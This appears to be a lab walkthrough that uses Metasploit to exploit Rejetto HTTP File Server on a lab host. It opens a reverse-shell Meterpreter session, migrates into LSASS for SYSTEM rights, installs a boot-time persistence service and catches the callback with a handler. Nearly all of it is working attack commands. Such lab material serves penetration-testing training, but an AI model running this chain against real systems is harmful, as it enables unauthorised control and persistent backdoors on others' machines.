Lab
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a persistence
Set Global Variables
setg RHOSTS 10.3.21.232
setg RHOST 10.3.21.232
Scan with db_nmap
db_nmap -sC -sV 10.3.21.232 -Pn
Exploit HTTP File Server (Rejetto)
Use a 64-bit Meterpreter payload so it matches the target's architecture.
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Migrate to LSASS
Find the PID of lsass.exe and move into it. It runs as SYSTEM and is always running.
pgrep lsass
migrate 500
Establish Persistence
Search for the Windows persistence modules:
search platform:windows persistence
persistence_service installs the payload as a Windows service, so it starts again every time the machine boots.
use exploit/windows/local/persistence_service
set PAYLOAD windows/meterpreter/reverse_tcp
set SESSION 1
exploit
Kill the Session and Get It Back
To prove persistence works, kill every session, then start a handler that matches the service's payload. The service calls back and a new session opens.
sessions -K
use exploit/multi/handler
set LHOST eth1
set PAYLOAD windows/meterpreter/reverse_tcp
exploit